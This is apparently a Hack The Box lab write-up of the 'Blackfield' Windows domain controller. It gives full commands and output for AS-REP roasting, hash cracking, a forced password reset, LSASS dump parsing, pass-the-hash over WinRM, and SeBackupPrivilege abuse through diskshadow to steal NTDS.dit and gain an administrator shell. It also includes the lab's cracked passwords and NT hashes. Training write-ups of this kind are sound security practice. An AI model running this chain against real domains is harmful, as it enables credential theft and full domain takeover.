Blackfield begins with collecting a list of usernames from an SMB share. With these usernames, I’m able to perform AS-REP roasting attack and obtain a TGT of a helpdesk account. The helpdesk account can be used to reset the password of an audit account. Re-enumerating SMB shares using the audit account finds a memory dump file of LSASS. The dump file contains an NT hash of a service account that is a member of Backup Operators. The privileges of the Backup Operators group can be abused to create a volume shadow copy and pull the NTDS.dit
file from there. The NTDS.dit
file can be extracted to retrieve the NT hash of the administrator account, and that hash can be used for remote access with administrative privilege.
Skills Learned
- AS-REP roasting
- LDAP enumeration
- BloodHound
- Abusing Windows Access Tokens - SeBackupPrivilege
Tools
- Nmap
- SMBMap
- ldapdomaindump
- CrackMapExec
- BloodHound
- BloodHound.py
- SeBackupPrivilege CmdLets
Reconnaissance
Nmap
An initial TCP scan with nmap
discovers at least seven open ports. These ports are the typical port used by Active Directory Domain Controller (AD DC).
→ root@iamf «blackfield» «10.10.14.169»
$ nmap -sC -sV -oN initial-blackfield 10.10.10.192
Nmap scan report for blackfield.htb (10.10.10.192)
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020–10–04 10:53:38Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/3%Time=5F794746%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m59s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020–10–04T10:55:58
|_ start_date: N/A
I will summarize the results:
- There is a DNS service on port 53, but HTB box is a single machine, so enumerating this service is not priority.
- There is a Kerberos service on port 88 is running Kerberos. I can try AS-REP roasting here.
- There is MS-RPC service on port 135, which I don’t touch it really often, so I’ll lower the priority.
- There is an LDAP service on port 389, LDAP is the standard protocol for directory services. Active Directory is Microsoft’s implementation of directory services and it supports LDAP query.
- There is an SMB service on port 445. I can try anonymous login here.
- Port 3268 is running LDAP as well, but it’s used as global catalog (read more: here).
nmap
also identified the AD domain name to be blackfield.local
.
Enumeration
TCP 389 - LDAP
On LDAP, I can send a query to obtain the domain metadata, but first I’ll look into the rootDSE1 to retrieve a list of the domain naming context.
→ root@iamf «blackfield» «10.10.14.169»
$ ldapsearch -LLL -x -h 10.10.10.192 -s base namingContexts
dn:
namingcontexts: DC=BLACKFIELD,DC=local
namingcontexts: CN=Configuration,DC=BLACKFIELD,DC=local
namingcontexts: CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=local
namingcontexts: DC=DomainDnsZones,DC=BLACKFIELD,DC=local
namingcontexts: DC=ForestDnsZones,DC=BLACKFIELD,DC=local
-LLL
: removes every comments in the output-x
: do simple authentication-h
: hostname or IP-s
: search scope,base
will returns the contents of rootDSE.
I can use DC=BLACKFIELD,DC=local
(this is called as distinguished name), but unfortunately the anonymous bind is not allowed.
TCP 445 - SMB
Trying anonymous login with crackmapexec
returns a status access denied.
→ root@iamf «blackfield» «10.10.14.169»
$ crackmapexec smb 10.10.10.192 -u '' -p '' --shares
SMB 10.10.10.192 445 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD.local\: STATUS_ACCESS_DENIED
SMB 10.10.10.192 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED
But on using smbclient
, it return the shares list.
→ root@iamf «blackfield» «10.10.14.169»
$ smbclient -N -L //10.10.10.192/
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
forensic Disk Forensic / Audit share.
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
profiles$ Disk
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection for 10.10.10.192 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
Later, I came to know that ‘anonymous’ must be specified in crackmapexec
.
profiles$ share
I have read permission on the profile$
share. The share contains a bunch of empty users folder.
I can convert these folders name to list of username using awk '{print $1}'
.
→ root@iamf «blackfield» «10.10.14.169»
$ cat folder.list | awk '{print $1}' | tee users.list
AAlleni
ABarteski
ABekesz
ABenzies
ABiemiller
AChampken
...<SNIP>...
Now that I have a list of usernames, I can try AS-REP roast attack.
TCP 88 - Kerberos
AS-REP roasting
I’ll use GetNPUsers.py
to perform AS-REP roasting on Kerberos.
→ root@iamf «blackfield» «10.10.14.169»
$ GetNPUsers.py BLACKFIELD.LOCAL/ -no-pass -usersfile users.list -dc-ip 10.10.10.192 -outputfile TGT_AS-REP
And I will watch the output file using watch
command
→ root@iamf «blackfield» «10.10.14.169»
$ watch -n 1 cat TGT_AS-REP
After a few minutes, it captures the hash for user support
.
I’ll send the hash to my Windows for cracking.
→ root@iamf «blackfield» «10.10.14.169»
$ cat TGT_AS-REP
$krb5asrep$23$support@BLACKFIELD.LOCAL:55211d2eb15e1539552de705eb8605c4$821c479c296fc01c7db5c01f75c08cedd607897692d622f1de2972d6601ebd880b3cb32e663e8c1a2cac5f2531aa1f1cb1323bc6b2a1816d212f179031952b9c1c1290cf11066339706d5cc592ab1e4e9de40e4db0986647c550860b2677671ce6b4b73761e119f56d9651b277a1297a87fa160e22eed4ecee7cb522c03d142cac647a467dfc48f69afb17fef110337134cfef9070f0b1f34d073772409dc31c6c0d0edea5562a9a37387ea44a48fb4947277e84300db0bf7da4ec5a9b3be94a7a1d4c910b1dd39f17ace62366f8e111dca756e13359750171464cd23b23e7b33d427a42978b489dc0a58bc9e586ff02ff3ab805
Cracking the Hash
I’ll use dictionary attack to recover the user password using hashcat
, and it cracks within a few seconds.
C:\tools\hashcat6> hashcat -m 18200 hashes/blackfield.hash rockyou.txt -O
hashcat (v6.1.1) starting...
...<SNIP>...
$krb5asrep$23$support@BLACKFIELD.LOCAL:55211d2eb15e1539552de705eb8605c4$821c479c296fc01c7db5c01f75c08cedd607897692d622f1de2972d6601ebd880b3cb32e663e8c1a2cac5f2531aa1f1cb1323bc6b2a1816d212f179031952b9c1c1290cf11066339706d5cc592ab1e4e9de40e4db0986647c550860b2677671ce6b4b73761e119f56d9651b277a1297a87fa160e22eed4ecee7cb522c03d142cac647a467dfc48f69afb17fef110337134cfef9070f0b1f34d073772409dc31c6c0d0edea5562a9a37387ea44a48fb4947277e84300db0bf7da4ec5a9b3be94a7a1d4c910b1dd39f17ace62366f8e111dca756e13359750171464cd23b23e7b33d427a42978b489dc0a58bc9e586ff02ff3ab805:#00^BlackKnight
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$support@BLACKFIELD.LOCAL:55211d2eb15e...3ab805
...<SNIP>...
The password for user support
is #00^BlackKnight
.
Access as support
Now that I obtained a set of credentials, I can re-enumerate the available services.
LDAP Domain Dump
The credentials works on LDAP, I can use it to obtain the domain info using ldapdomaindump.
→ root@iamf «loot» «10.10.14.169»
$ ldapdomaindump -u 'BLACKFIELD.LOCAL\support' -p '#00^BlackKnight' -no-json -no-grep 10.10.10.192
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
The output from the tool are formatted in HTML document, and I get the following information:
The OS information and the computer FQDN.
The domain policy.
The interesting domain users.
Interesting groups
From here, I know that user support
does not have remote shell access.
BloodHound
There is a python-based ingestor for BloodHound
besides SharpHound
. It can be used remotely from Linux.
→ root@iamf «loot» «10.10.14.169»
$ python bloodhound.py -c All -u 'support@blackfield.local' -p '#00^BlackKnight' -d blackfield.local -dc DC01.BLACKFIELD.local -ns 10.10.10.192
-c
: collect method : all-u
,-p
: credentials set-d
: domain name-dc
: FQDN of domain controller (it’s on ldap domain dump section → domain_computers.html)-ns
: name server / DNS
It returns the following output:
INFO: Found AD domain: blackfield.local
INFO: Connecting to LDAP server: DC01.BLACKFIELD.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 18 computers
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 316 users
INFO: Connecting to GC LDAP server: dc01.blackfield.local
INFO: Found 51 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.BLACKFIELD.local
INFO: Done in 00M 18S
The output files from the tool are in json format. They are: computers.json
, domains.json
, groups.json
and users.json
.
I can upload these files to BloodHound
GUI by drag and drop.
Enumerating the user support permissions discovers it has ForceChangePassword
permission on Audit2020. That means user support
is able to change the user audit2020
password.
Reset Audit2020 Password
I can change the user audit2020 password using net rpc
2. I’ll set P@$$w0rd!
as the new password for user audit2020.
→ root@iamf «blackfield» «10.10.14.169»
$ net rpc password audit2020 -U 'support%#00^BlackKnight' -S 10.10.10.192
Enter new password for audit2020:
Access as Audit2020
forensic share
With audit2020, I can access the forensic share.
→ root@iamf «blackfield» «10.10.14.169»
$ smbmap -H 10.10.10.192 -u audit2020 -p 'P@$$w0rd!'
[+] IP: 10.10.10.192:445 Name: BLACKFIELD.local
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
forensic READ ONLY Forensic / Audit share.
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
profiles$ READ ONLY
SYSVOL READ ONLY Logon server share
Inside the share, there is three folders, and I’ll download all of them to my Kali.
→ root@iamf «blackfield» «10.10.14.169»
$ smbclient -U 'audit2020%P@$$w0rd!'//10.10.10.192/forensic
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Feb 23 20:03:16 2020
.. D 0 Sun Feb 23 20:03:16 2020
commands_output D 0 Mon Feb 24 01:14:37 2020
memory_analysis D 0 Fri May 29 03:28:33 2020
tools D 0 Sun Feb 23 20:39:08 2020
smb: \> recurse on
smb: \> mget *
Enumerating on the memory_analysis folder, there is a file called lsass.zip
that contains lsass.DMP
which is interesting to me.
→ root@iamf «blackfield» «10.10.14.169»
$ file lsass.DMP
lsass.DMP: Mini DuMP crash report, 16 streams, Sun Feb 23 18:02:01 2020, 0x421826 type
LSASS (Local Security Authentication Subsystem Service) is a service/process that used to verify and authenticate users on login to a Windows computer. In other words, it holds the Windows credentials.
Foothold
Shell as svc_backup
Dump Lsass
A tool called pypykatz
can be used to dump the contents of lsass.DMP
. The NT hash of svc-backup immediately shows up on the top.
The hash is 9658d1d1dcd9250115e2205d9f48400d
.
WinRM - svc_backup
I knew that this user can login remotely (from LDAP), so I can try it with evil-winrm
, and it worked.
→ root@iamf «blackfield» «10.10.14.169»
$ evil-winrm -i 10.10.10.192 -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d'
User flag is done here.
Privilege Escalation
Shell as Administrator
Internal Enumeration
Also from LDAP, svc-backup is a member of the Backup Operators group. Each member of the Backup Operators group can perform backup and restore operations. The privilege name to perform those two operations are called SeBackupPrivilege
and SeRestorePrivilege
.
Those two privileges can be abused3 using diskshadow
4.
I can’t just perform the backup and restore if the system is currently in use (online). But, there is a technology from Microsoft called “Shadow Copy” that makes this possible, and that’s where diskshadow
will be used.
So the idea is that I can create a volume shadow of C:
drive and backup the NTDS.dit
file (AD database) from the volume shadow back to C:
drive. After that I can grab the NTDS.dit
and dump the NT hashes from NTDS.dit
locally using secretsdump.py
. To achieve this I will use this gist as reference. I will also need this module.
Abusing SeBackupPrivilege
I’ll create a few scripts to perform all the needed actions (create a volume, grab ntds.dit
, and cleanup the volume shadow) in one run.
The first one is the script for grabbing NTDS.dit
file, I will save it as copy.cmd
.
cmd.exe /c "powershell.exe -c Import-Module(Resolve-Path('SeBackupPrivilegeCmdLets.dll')); Import-Module(Resolve-Path('SeBackupPrivilegeCmdLets.dll')); Copy-FileSeBackupPrivilege f:\windows\ntds\ntds.dit C:\temp\ntds.dit"
The next one is the script for creating and deleting the volume shadow, I will save it as script.txt
.
set context persistent nowriters
add volume c: alias iamf
create
expose %iamf% f:
exec "copy.cmd"
delete shadows volume %iamf%
reset
After that, I will move the modules and the scripts into a folder called exploits
.
→ root@iamf «exploits» «10.10.14.169»
$ tree
.
├── SeBackupPrivilegeCmdLets.dll
├── SeBackupPrivilegeUtils.dll
├── copy.cmd
└── script.txt
0 directories, 4 files
Now, I’ll copy these .dll
modules, copy.cmd
, and script.txt
to Blackfield using the upload feature from evil-winrm
at C:\temp\
.
→ root@iamf «exploits» «10.10.14.169»
$ evil-winrm -i 10.10.10.192 -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_backup\Documents>mkdir C:\temp; cd C:\temp
...<SNIP>...
*Evil-WinRM* PS C:\temp> upload SeBackupPrivilegeCmdLets.dll
...<SNIP>...
*Evil-WinRM* PS C:\temp> upload SeBackupPrivilegeUtils.dll
...<SNIP>...
*Evil-WinRM* PS C:\temp> upload copy.cmd
...<SNIP>...
*Evil-WinRM* PS C:\temp> upload script.txt
...<SNIP>...
After that, I can run diskshadow
with the /s
option, then I can supply the created script.txt
as the command sequence.
Evil-WinRM* PS C:\temp> diskshadow /s script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 10/4/2020 8:15:53 AM
-> set context persistent nowriters
-> add volume c: alias iamf
-> create
Alias iamf for shadow ID {7c53326a-2617-450c-9d2d-5c381352aa45} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {6142125a-a889-46a9-9d5e-87ff17b66d2c} set as environment variable.
Querying all shadow copies with the shadow copy set ID {6142125a-a889-46a9-9d5e-87ff17b66d2c}
* Shadow copy ID = {7c53326a-2617-450c-9d2d-5c381352aa45} %iamf%
- Shadow copy set: {6142125a-a889-46a9-9d5e-87ff17b66d2c} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
- Creation time: 10/4/2020 8:15:54 AM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4
- Originating machine: DC01.BLACKFIELD.local
- Service machine: DC01.BLACKFIELD.local
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1
-> expose %iamf% f:
-> %iamf% = {7c53326a-2617-450c-9d2d-5c381352aa45}
The shadow copy was successfully exposed as f:\.
-> exec "copy.cmd"
C:\temp>cmd.exe /c "powershell.exe -c Import-Module(Resolve-Path('SeBackupPrivilegeCmdLets.dll')); Import-Module(Resolve-Path('SeBackupPrivilegeCmdLets.dll')); Copy-FileSeBackupPrivilege f:\windows\ntds\ntds.dit C:\temp\ntds.dit"
Copied 18874368 bytes
-> delete shadows volume %iamf%
-> %iamf% = {7c53326a-2617-450c-9d2d-5c381352aa45}
Deleting shadow copy {7c53326a-2617-450c-9d2d-5c381352aa45} on volume \\?\Volume{351b4712-0000-0000-0000-602200000000}\ from provider {b5946137-7b9f-4925-af80-51abd60b20d5} [Attributes: 0x00120019]...
Number of shadow copies deleted: 1
-> reset
Now that I have the ntds.dit
, the last file that I need is the registry hive.
Evil-WinRM* PS C:\temp> reg save HKLM\SYSTEM c:\temp\system
The operation completed successfully.
I will download these files to my Kali using evil-winrm
download feature.
Evil-WinRM* PS C:\temp> ls
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/4/2020 8:20 AM 18874368 ntds.dit
-a---- 10/4/2020 8:14 AM 222 copy.cmd
-a---- 10/4/2020 8:15 AM 140 script.txt
-a---- 10/4/2020 8:14 AM 12288 SeBackupPrivilegeCmdLets.dll
-a---- 10/4/2020 8:14 AM 16384 SeBackupPrivilegeUtils.dll
-a---- 10/4/2020 8:21 AM 17547264 system
Credentials Dumping
Now I can dump the NT hash from ntds.dit
and system
file using secretsdump.py
.
→ root@iamf «loot» «10.10.14.169»
$ secretsdump.py -system system -ntds ntds.dit LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
...<SNIP>...
WinRM - Administrator
I can use the NT hash of administrator account to login using evil-winrm
pass-the-hash feature.
→ root@iamf «loot» «10.10.14.169»
$ evil-winrm -i 10.10.10.192 -u administrator -H '184fb5e5178480be64824d4cd53b99ee'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
blackfield\administrator
It’s an anonymous authentication, but limited only to the rootDSE, because the domain controller (DC) needs to know who are we and what authentication do we support, so it exchanges some information about itself. ↩︎
https://room362.com/post/2017/reset-ad-user-password-with-linux/ ↩︎
https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/ ↩︎